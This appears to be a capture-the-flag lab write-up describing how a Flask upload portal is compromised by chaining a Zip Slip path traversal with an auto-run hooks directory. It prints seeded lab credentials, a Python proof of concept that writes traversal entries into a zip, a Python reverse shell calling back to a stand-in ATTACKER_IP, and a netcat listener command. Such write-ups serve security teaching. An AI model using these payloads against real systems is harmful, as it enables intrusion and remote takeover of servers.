In this post · 2 sections

Hacker Holidays Day 10: The Hollow Shell

Staff can upload a .zip souvenir pack through a portal. It extracts archives without checking entry paths, which is a Zip Slip, and an automation feature auto-runs anything dropped into a hooks/ directory. Chained, that is RCE.

Getting in and confirming the slip

Port 5000 ran a Flask app. The login page source had seeded staff credentials in an HTML comment.

Spoiler: the seeded staff credentials

concierge / StayNoticed2024!

Logged in, I got an upload feature. To test whether extraction validated paths, I crafted a zip with a traversal in the entry name:

Spoiler: the Zip Slip proof of concept
import zipfile
with zipfile.ZipFile("test.zip", "a") as z:
    z.writestr("../../../../tmp/pwned_test.txt", "zip slip works")

The upload succeeded silently, no rejection. The server extracts entries without sanitising ../, which is arbitrary file write.

Turning the write into a shell

The portal’s hint text mentioned automation hooks that “the theme worker applies for you”. So I wrote a reverse shell straight into hooks/ instead of a scratch file:

Spoiler: the Zip Slip reverse shell
import zipfile, json
callback = '''
import socket, os, pty
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("ATTACKER_IP", 4444))
for fd in (0, 1, 2): os.dup2(sock.fileno(), fd)
pty.spawn("/bin/bash")
'''
with zipfile.ZipFile("reverse-shell.zip", "w") as z:
    z.writestr("shell.json", json.dumps({"name": "reverse", "assets": []}))
    z.writestr("../../hooks/callback.py", callback)

Started nc -lvnp 4444, uploaded the zip, and the theme worker ran the planted hook:

roomservice@tryhackme-2404:/var/www/conch$

Code execution as roomservice, off Zip Slip to arbitrary write to automatic execution. The flag was in the working directory, no escalation needed. Redacted here.